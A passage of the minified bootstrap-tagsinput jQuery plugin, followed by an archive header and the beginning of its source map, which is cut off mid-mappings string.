b(b,c){this.isInit=!0,this.itemsArray=[],this.$element=a(b),this.$element.hide(),this.isSelect="SELECT"===b.tagName,this.multiple=this.isSelect&&b.hasAttribute("multiple"),this.objectItems=c&&c.itemValue,this.placeholderText=b.hasAttribute("placeholder")?this.$element.attr("placeholder"):"",this.inputSize=Math.max(1,this.placeholderText.length),this.$container=a('<div class="bootstrap-tagsinput"></div>'),this.$input=a('<input type="text" placeholder="'+this.placeholderText+'"/>').appendTo(this.$container),this.$element.before(this.$container),this.build(c),this.isInit=!1}function c(a,b){if("function"!=typeof a[b]){var c=a[b];a[b]=function(a){return a[c]}}}function d(a,b){if("function"!=typeof a[b]){var c=a[b];a[b]=function(){return c}}}function e(a){return a?i.text(a).html():""}function f(a){var b=0;if(document.selection){a.focus();var c=document.selection.createRange();c.moveStart("character",-a.value.length),b=c.text.length}else(a.selectionStart||"0"==a.selectionStart)&&(b=a.selectionStart);return b}function g(b,c){var d=!1;return a.each(c,function(a,c){if("number"==typeof c&&b.which===c)return d=!0,!1;if(b.which===c.which){var e=!c.hasOwnProperty("altKey")||b.altKey===c.altKey,f=!c.hasOwnProperty("shiftKey")||b.shiftKey===c.shiftKey,g=!c.hasOwnProperty("ctrlKey")||b.ctrlKey===c.ctrlKey;if(e&&f&&g)return d=!0,!1}}),d}var h={tagClass:function(a){return"label label-info"},itemValue:function(a){return a?a.toString():a},itemText:function(a){return this.itemValue(a)},itemTitle:function(a){return null},freeInput:!0,addOnBlur:!0,maxTags:void 0,maxChars:void 0,confirmKeys:[13,44],delimiter:",",delimiterRegex:null,cancelConfirmKeysOnEmpty:!1,onTagExists:function(a,b){b.hide().fadeIn()},trimValue:!1,allowDuplicates:!1};b.prototype={constructor:b,add:function(b,c,d){var f=this;if(!(f.options.maxTags&&f.itemsArray.length>=f.options.maxTags)&&(b===!1||b)){if("string"==typeof b&&f.options.trimValue&&(b=a.trim(b)),"object"==typeof b&&!f.objectItems)throw"Can't add objects when itemValue option is not set";if(!b.toString().match(/^\s*$/)){if(f.isSelect&&!f.multiple&&f.itemsArray.length>0&&f.remove(f.itemsArray[0]),"string"==typeof b&&"INPUT"===this.$element[0].tagName){var g=f.options.delimiterRegex?f.options.delimiterRegex:f.options.delimiter,h=b.split(g);if(h.length>1){for(var i=0;i<h.length;i++)this.add(h[i],!0);return void(c||f.pushVal())}}var j=f.options.itemValue(b),k=f.options.itemText(b),l=f.options.tagClass(b),m=f.options.itemTitle(b),n=a.grep(f.itemsArray,function(a){return f.options.itemValue(a)===j})[0];if(!n||f.options.allowDuplicates){if(!(f.items().toString().length+b.length+1>f.options.maxInputLength)){var o=a.Event("beforeItemAdd",{item:b,cancel:!1,options:d});if(f.$element.trigger(o),!o.cancel){f.itemsArray.push(b);var p=a('<span class="tag '+e(l)+(null!==m?'" title="'+m:"")+'">'+e(k)+'<span data-role="remove"></span></span>');p.data("item",b),f.findInputWrapper().before(p),p.after(" ");var q=a('option[value="'+encodeURIComponent(j)+'"]',f.$element).length||a('option[value="'+e(j)+'"]',f.$element).length;if(f.isSelect&&!q){var r=a("<option selected>"+e(k)+"</option>");r.data("item",b),r.attr("value",j),f.$element.append(r)}c||f.pushVal(),(f.options.maxTags===f.itemsArray.length||f.items().toString().length===f.options.maxInputLength)&&f.$container.addClass("bootstrap-tagsinput-max"),a(".typeahead, .twitter-typeahead",f.$container).length&&f.$input.typeahead("val",""),this.isInit?f.$element.trigger(a.Event("itemAddedOnInit",{item:b,options:d})):f.$element.trigger(a.Event("itemAdded",{item:b,options:d}))}}}else if(f.options.onTagExists){var s=a(".tag",f.$container).filter(function(){return a(this).data("item")===n});f.options.onTagExists(b,s)}}}},remove:function(b,c,d){var e=this;if(e.objectItems&&(b="object"==typeof b?a.grep(e.itemsArray,function(a){return e.options.itemValue(a)==e.options.itemValue(b)}):a.grep(e.itemsArray,function(a){return e.options.itemValue(a)==b}),b=b[b.length-1]),b){var f=a.Event("beforeItemRemove",{item:b,cancel:!1,options:d});if(e.$element.trigger(f),f.cancel)return;a(".tag",e.$container).filter(function(){return a(this).data("item")===b}).remove(),a("option",e.$element).filter(function(){return a(this).data("item")===b}).remove(),-1!==a.inArray(b,e.itemsArray)&&e.itemsArray.splice(a.inArray(b,e.itemsArray),1)}c||e.pushVal(),e.options.maxTags>e.itemsArray.length&&e.$container.removeClass("bootstrap-tagsinput-max"),e.$element.trigger(a.Event("itemRemoved",{item:b,options:d}))},removeAll:function(){var b=this;for(a(".tag",b.$container).remove(),a("option",b.$element).remove();b.itemsArray.length>0;)b.itemsArray.pop();b.pushVal()},refresh:function(){var b=this;a(".tag",b.$container).each(function(){var c=a(this),d=c.data("item"),f=b.options.itemValue(d),g=b.options.itemText(d),h=b.options.tagClass(d);if(c.attr("class",null),c.addClass("tag "+e(h)),c.contents().filter(function(){return 3==this.nodeType})[0].nodeValue=e(g),b.isSelect){var i=a("option",b.$element).filter(function(){return a(this).data("item")===d});i.attr("value",f)}})},items:function(){return this.itemsArray},pushVal:function(){var b=this,c=a.map(b.items(),function(a){return b.options.itemValue(a).toString()});b.$element.val(c,!0).trigger("change")},build:function(b){var e=this;if(e.options=a.extend({},h,b),e.objectItems&&(e.options.freeInput=!1),c(e.options,"itemValue"),c(e.options,"itemText"),d(e.options,"tagClass"),e.options.typeahead){var i=e.options.typeahead||{};d(i,"source"),e.$input.typeahead(a.extend({},i,{source:function(b,c){function d(a){for(var b=[],d=0;d<a.length;d++){var g=e.options.itemText(a[d]);f[g]=a[d],b.push(g)}c(b)}this.map={};var f=this.map,g=i.source(b);a.isFunction(g.success)?g.success(d):a.isFunction(g.then)?g.then(d):a.when(g).then(d)},updater:function(a){return e.add(this.map[a]),this.map[a]},matcher:function(a){return-1!==a.toLowerCase().indexOf(this.query.trim().toLowerCase())},sorter:function(a){return a.sort()},highlighter:function(a){var b=new RegExp("("+this.query+")","gi");return a.replace(b,"<strong>$1</strong>")}}))}if(e.options.typeaheadjs){var j=null,k={},l=e.options.typeaheadjs;a.isArray(l)?(j=l[0],k=l[1]):k=l,e.$input.typeahead(j,k).on("typeahead:selected",a.proxy(function(a,b){k.valueKey?e.add(b[k.valueKey]):e.add(b),e.$input.typeahead("val","")},e))}e.$container.on("click",a.proxy(function(a){e.$element.attr("disabled")||e.$input.removeAttr("disabled"),e.$input.focus()},e)),e.options.addOnBlur&&e.options.freeInput&&e.$input.on("focusout",a.proxy(function(b){0===a(".typeahead, .twitter-typeahead",e.$container).length&&(e.add(e.$input.val()),e.$input.val(""))},e)),e.$container.on("keydown","input",a.proxy(function(b){var c=a(b.target),d=e.findInputWrapper();if(e.$element.attr("disabled"))return void e.$input.attr("disabled","disabled");switch(b.which){case 8:if(0===f(c[0])){var g=d.prev();g.length&&e.remove(g.data("item"))}break;case 46:if(0===f(c[0])){var h=d.next();h.length&&e.remove(h.data("item"))}break;case 37:var i=d.prev();0===c.val().length&&i[0]&&(i.before(d),c.focus());break;case 39:var j=d.next();0===c.val().length&&j[0]&&(j.after(d),c.focus())}var k=c.val().length;Math.ceil(k/5);c.attr("size",Math.max(this.inputSize,c.val().length))},e)),e.$container.on("keypress","input",a.proxy(function(b){var c=a(b.target);if(e.$element.attr("disabled"))return void e.$input.attr("disabled","disabled");var d=c.val(),f=e.options.maxChars&&d.length>=e.options.maxChars;e.options.freeInput&&(g(b,e.options.confirmKeys)||f)&&(0!==d.length&&(e.add(f?d.substr(0,e.options.maxChars):d),c.val("")),e.options.cancelConfirmKeysOnEmpty===!1&&b.preventDefault());var h=c.val().length;Math.ceil(h/5);c.attr("size",Math.max(this.inputSize,c.val().length))},e)),e.$container.on("click","[data-role=remove]",a.proxy(function(b){e.$element.attr("disabled")||e.remove(a(b.target).closest(".tag").data("item"))},e)),e.options.itemValue===h.itemValue&&("INPUT"===e.$element[0].tagName?e.add(e.$element.val()):a("option",e.$element).each(function(){e.add(a(this).attr("value"),!0)}))},destroy:function(){var a=this;a.$container.off("keypress","input"),a.$container.off("click","[role=remove]"),a.$container.remove(),a.$element.removeData("tagsinput"),a.$element.show()},focus:function(){this.$input.focus()},input:function(){return this.$input},findInputWrapper:function(){for(var b=this.$input[0],c=this.$container[0];b&&b.parentNode!==c;)b=b.parentNode;return a(b)}},a.fn.tagsinput=function(c,d,e){var f=[];return this.each(function(){var g=a(this).data("tagsinput");if(g)if(c||d){if(void 0!==g[c]){if(3===g[c].length&&void 0!==e)var h=g[c](d,null,e);else var h=g[c](d);void 0!==h&&f.push(h)}}else f.push(g);else g=new b(this,c),a(this).data("tagsinput",g),f.push(g),"SELECT"===this.tagName&&a("option",a(this)).attr("selected","selected"),a(this).val(a(this).val())}),"string"==typeof c?f.length>1?f:f[0]:f},a.fn.tagsinput.Constructor=b;var i=a("<div />");a(function(){a("input[data-role=tagsinput], select[multiple][data-role=tagsinput]").tagsinput()})}(window.jQuery); //# sourceMappingURL=bootstrap-tagsinput.min.js.mapbootstrap-tagsinput.min.js.map000064400000030003151677260650012504 0ustar00{"version":3,"sources":["../src/bootstrap-tagsinput.js"],"names":["$","TagsInput","element","options","this","isInit","itemsArray","$element","hide","isSelect","tagName","multiple","hasAttribute","objectItems","itemValue","placeholderText","attr","inputSize","Math","max","length","$container","$input","appendTo","before","build","makeOptionItemFunction","key","propertyName","item","makeOptionFunction","value","htmlEncode","htmlEncodeContainer","text","html","doGetCaretPosition","oField","iCaretPos","document","selection","focus","oSel","createRange","moveStart","selectionStart","keyCombinationInList","keyPressEvent","lookupList","found","each","index","keyCombination","which","alt","hasOwnProperty","altKey","shift","shiftKey","ctrl","ctrlKey","defaultOptions","tagClass","toString","itemText","itemTitle","freeInput","addOnBlur","maxTags","undefined","maxChars","confirmKeys","delimiter","delimiterRegex","cancelConfirmKeysOnEmpty","onTagExists","$tag","fadeIn","trimValue","allowDuplicates","prototype","constructor","add","dontPushVal","self","trim","match","remove","items","split","i","pushVal","existing","grep","maxInputLength","beforeItemAddEvent","Event","cancel","trigger","push","data","findInputWrapper","after","optionExists","encodeURIComponent","$option","append","addClass","typeahead","$existingTag","filter","other","beforeItemRemoveEvent","inArray","splice","removeClass","removeAll","pop","refresh","contents","nodeType","nodeValue","option","val","map","extend","source","query","process","processItems","texts","isFunction","success","then","when","updater","matcher","toLowerCase","indexOf","sorter","sort","highlighter","regex","RegExp","replace","typeaheadjs","typeaheadConfig","typeaheadDatasets","isArray","on","proxy","obj","datum","valueKey","event","removeAttr","target","$inputWrapper","prev","next","$prevTag","$nextTag","textLength","ceil","maxLengthReached","substr","preventDefault","closest","destroy","off","removeData","show","input","elt","container","parentNode","fn","tagsinput","arg1","arg2","arg3","results","retVal","Constructor","window","jQuery"],"mappings":"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